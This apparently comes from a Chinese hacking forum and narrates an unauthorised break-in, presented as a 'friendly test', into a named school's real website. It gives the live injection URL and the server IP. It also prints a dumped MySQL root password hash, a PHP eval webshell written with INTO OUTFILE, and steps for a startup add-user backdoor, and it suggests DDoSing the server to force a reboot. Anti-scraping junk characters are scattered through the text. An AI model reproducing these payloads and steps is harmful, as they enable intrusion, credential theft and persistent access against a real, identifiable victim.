友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
& f, l/ q4 `- }* A* X, w( P0 B3 `. a发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
; `9 P* d- n7 x* G6 Q/ M
2 _8 ]& D" h& Q
4 P* R% V5 r( G9 T* \
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

8 K6 ~' c3 @0 \1 r8 R) ?; P5 V那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
  J' k; ~8 [8 R/ {
% F9 P, M5 M) p' N4 E+ b$ e$ J试着爆绝对路径：
# g; r5 K; [* a, O1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
6 O9 g) m7 ^2 R0 n4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
1 \( x2 H( p, @# p# D9 k7./phpmyadmin/libraries/mcrypt.lib.php   
. u8 Y! k, q  o, [. D" u% f$ o8./phpmyadmin/libraries/export/xls.php  
4 S$ I9 J! v4 R. O  q/ X
( \5 c! c3 A  d5 a; C7 S; f均不行...........................

; }8 K' b0 x0 O御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

1 h8 R7 f4 d9 u+ f默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
8 _" r6 [) M0 e' g% Z$ G
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
9 i$ Q5 @* I- b2 [9 Q* k; T" j3 @: W
% ]* N' b+ n1 i- f想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

4 s8 v. M# X6 i2 B1 t' S: ]+ chttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
5 s, J* m, f. i4 _9 C) L( _7 i
& c% o/ [9 k( ?! N成功读到root密码：
  Y  ?& y8 }( \* Z. E; F3 F' J0 }) C
17---- r(0072)
( g& v4 f: z" u3 ^- c, ^9 C18---- o(006f)
19---- o(006f)
- W2 [. C; s& E  C' q20---- t(0074)
: K2 `- R7 e. @6 U21---- *(002a)
22---- 8(0038)
23---- 2(0032)
2 H1 X6 a: D+ e* w" E$ x/ A24---- E(0045)
$ `& n. `9 i( W25---- 1(0031)
26---- C(0043)
27---- 5(0035)
* e$ H' j: h7 T1 Q: l28---- 8(0038)
29---- 2(0032)
( I' X- q6 @1 G. {2 h7 K3 `" ]30---- 8(0038)
31---- A(0041)
$ \% ~- @$ a, C4 @5 ?8 F4 n32---- 9(0039)
7 P5 u; v) O+ j0 x  x33---- B(0042)
; a! `; ~8 |' D* H34---- 5(0035)
35---- 4(0034)
8 ^9 u  {8 q6 E8 C2 S36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
% a' O1 g4 r1 H4 y40---- 1(0031)
1 F: O) \5 a4 p9 S41---- 1(0031)
# \5 s" }5 _; B. T42---- 5(0035)
' d$ b) M( q) E7 w43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
5 t8 u6 n& P5 t- Y, @47---- F(0046)
, X- _; }6 C$ n7 w( l& t" {48---- F(0046)
49---- 4(0034)
( O2 D( q' F  R' `6 k2 t# b  b50---- F(0046)
51---- 0(0030)
52---- 3(0033)
" _+ J$ I5 v" U. k53---- 2(0032)
2 x+ X& R2 W+ I) d2 R54---- A(0041)
55---- 4(0034)
9 e) B( f( W( a. _56---- A(0041)
% E' ^4 v+ Q7 V57---- B(0042)
58---- *(0044)
59---- *(0035)
1 f. }" F' n2 ]+ x( Y+ y60---- *(0041)
61---- *0032)

解密后成功登陆phpmyamin
1 w' I+ }$ U  X                          
) z, i" L7 G6 i1 L# Q
% d. {- H2 h2 b" U                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

成功执行，拿下shell，菜刀连接：

2 S1 x% O' o" x3 d0 i2 y# C服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

, o' Q6 f! e# b$ o9 D3 N

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

) Q2 G: O5 o( e# Q8 k4 x8 F* \$ ^

-------------------------------------------------------------------------------
; [, K9 x1 G% C* wadmin
8 V& @+ E( Y, M& G( W! VAdministrator
slipper$
$ b# w* ~0 s* ~sqluser
命令成功完成。
5 z* X2 z: [  G$ y1 Q
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

ddos服务器重启，不然就只能坐等服务器重启了...............................
8 @4 l! k" \5 V7 F9 `* u1 S
$ O1 a8 n! q# G, s      

angel